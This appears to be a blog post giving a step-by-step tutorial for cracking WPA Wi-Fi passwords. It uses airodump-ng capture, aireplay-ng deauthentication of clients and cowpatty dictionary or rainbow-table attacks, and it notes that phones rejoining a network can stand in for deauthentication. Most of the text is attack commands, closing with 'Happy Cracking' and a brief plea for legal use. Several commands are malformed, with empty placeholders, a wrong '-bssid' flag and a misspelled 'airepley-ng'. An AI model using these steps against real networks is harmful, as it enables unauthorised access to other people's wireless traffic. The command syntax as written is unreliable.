It is interesting how many people believe that their wireless is secure because they are using WPA. Well we did a test recently and were able to basically password guess our way with a dictionary attack using either a straight dictionary or a rainbow table. The cool thing is I bought an ALFA usb antenna and could sit down at the corner coffee place and still see my wireless access point.
Security people: Be sure that your WPA password is an unreadable string not something found in a dictionary, and not a phrase that you can read like op3nth3p0dbayd00rs the tables of today are too intelligent for that.
In a nutshell using linux this is how it is done:
Part I
airmon-ng start wlan0 (this puts the wireless car in promiscuous mode)
kismet -c wlan0
•close console window to see collection of packets
•use alt + k to get to top pull down menu’s, turn on ability to see type of access points bsid and guess at IP address, channel #
Cntrl-C to exit kismet
airmon-ng stop wlan0
Part II
airmon-ng start wlan0
airodump-ng -c -bssid -w wlan0
Example:
airodump-ng -c 9 -bssid 00:1B:11:EC:3D:D7 -w D-Link wlan0 * Note D-Link-01.cap is where the capture of all traffic will go
Now open another window as we need to force a re-conect from the target (see the Note below)
aireplay-ng -a -c wlan0
Example:
airepley-ng -0 30 -a 00:1B:11:EC:3D:D7 -c 00:20:00:38:51:06 wlan0
You will see at the top of the airodump window a wpa re-key, capture some traffic and exit you will have captured all the trafic in the D-Link01.cap file.
Part III
Download either rainbow tables or direct dictionary from offensive security: offensive-security.com/wpa-tables
If using hashes (rainbow)
cowpatty -r -d -s
Example:
cowpatty -r D-Link-01.cap -d dlink.wpa -s dynamite
If using Dictionary words:
cowpatty -r -f -s
Example:
cowpatty -r D-Link-01.cap -f passwords.wpa -s dynamite
Note : If you are in an environment that has alot of cell phones like the iphone, (and they are using their wireless to connect to the network) we found these all go to sleep when their screen is turned off then their wireless ethernet card has a wake-up when the screen is activated. So you don’t need to send de-auth all you got to do is hang around long enough for someone to touch their Iphone or whatever cell and have it wake up it’s wireless and re-auth to the network, in other words there is the weakest link! — LOL!
Happy Cracking

As Always, Be Good, Be Safe, and if you are going to hack, hack LEGALLY and RESPONSIBLY–I’m Out
~Mark Bennett

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Paul Asadoorian is the Founder & CEO of Security Weekly, where the flagship show recently re-titled "Paul's Security Weekly" has been airing for over 8 years. By day he is the Product Evangelist for Tenable Network Security. Paul produces and hosts the various shows here at Security Weekly, all dedicated to providing the latest security news, interviews with the industries finest and technical how-to segments. Paul is also the founder and host of "The Stogie Geeks Show", featuring cigar reviews for cigar enthusiasts.

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